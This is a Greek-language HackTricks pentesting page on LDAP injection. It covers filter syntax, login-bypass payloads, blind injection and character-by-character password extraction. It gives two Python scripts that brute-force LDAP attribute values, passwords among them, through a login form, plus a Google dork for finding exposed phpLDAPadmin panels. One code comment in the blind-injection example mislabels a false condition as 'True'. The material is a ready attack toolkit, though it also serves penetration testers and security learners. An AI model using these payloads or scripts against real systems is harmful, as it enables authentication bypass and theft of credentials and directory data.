12 KiB
LDAP Injection
LDAP Injection
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και το χάκαρισμα του αχάκαρτου - προσλαμβάνουμε! (απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής).
{% embed url="https://www.stmcyber.com/careers" %}
LDAP Injection
LDAP
Αν θέλετε να μάθετε τι είναι το LDAP, επισκεφθείτε την ακόλουθη σελίδα:
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}
Η εισβολή LDAP (LDAP Injection) είναι μια επίθεση που στοχεύει σε web εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρήστη. Συμβαίνει όταν η εφαρμογή αποτυγχάνει να καθαρίσει σωστά την είσοδο, επιτρέποντας στους επιτιθέμενους να διαχειριστούν τις δηλώσεις LDAP μέσω ενός τοπικού διαμεσολαβητή, που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση ή διαμόρφωση δεδομένων.
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
Φίλτρο = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Απόλυτη ΑΛΗΘΕΙΑ
(|) = Απόλυτο ΨΕΜΑ
Για παράδειγμα:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
Μπορείτε να έχετε πρόσβαση στη βάση δεδομένων, η οποία μπορεί να περιέχει πληροφορίες πολλών διαφορετικών τύπων.
OpenLDAP: Εάν φτάσουν 2 φίλτρα, εκτελείται μόνο το πρώτο.
ADAM ή Microsoft LDS: Με 2 φίλτρα εκτοξεύουν ένα σφάλμα.
SunOne Directory Server 5.0: Εκτελούν και τα δύο φίλτρα.
Είναι πολύ σημαντικό να στείλετε το φίλτρο με σωστή σύνταξη, αλλιώς θα εκτοξευθεί ένα σφάλμα. Είναι καλύτερο να στείλετε μόνο 1 φίλτρο.
Το φίλτρο πρέπει να ξεκινά με: &
ή |
Παράδειγμα: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
Στη συνέχεια: (&(objectClass=
*)(ObjectClass=*))
θα είναι το πρώτο φίλτρο (αυτό που εκτελείται).
Παράκαμψη Σύνδεσης
Το LDAP υποστηρίζει αρκετές μορφές για την αποθήκευση του κωδικού πρόσβασης: clear, md5, smd5, sh1, sha, crypt. Έτσι, είναι πιθανό ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, να γίνεται κατακερματισμός.
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
Λίστες
Τυφλή Εισαγωγή LDAP
Μπορείτε να εξαναγκάσετε απαντήσεις False ή True για να ελέγξετε εάν επιστρέφονται δεδομένα και να επιβεβαιώσετε μια πιθανή τυφλή εισαγωγή LDAP:
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Απορρόφηση δεδομένων
Μπορείτε να επαναλάβετε τους ASCII χαρακτήρες, ψηφία και σύμβολα:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
Σενάρια
Ανακάλυψη έγκυρων πεδίων LDAP
Τα αντικείμενα LDAP περιέχουν από προεπιλογή αρκετά χαρακτηριστικά που μπορούν να χρησιμοποιηθούν για τη αποθήκευση πληροφοριών. Μπορείτε να δοκιμάσετε να εξαναγκάσετε όλα αυτά για να εξάγετε αυτές τις πληροφορίες. Μπορείτε να βρείτε μια λίστα με προεπιλεγμένα χαρακτηριστικά LDAP εδώ.
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
Ειδική Τυφλή Εισβολή LDAP (χωρίς "*")
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
Google Dorks
intitle:"phpLDAPadmin" inurl:cmd.php
Περισσότερα Payloads
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
Εάν ενδιαφέρεστε για καριέρα στο χάκινγκ και για να χακάρετε το αχακάριστο - προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών).
{% embed url="https://www.stmcyber.com/careers" %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.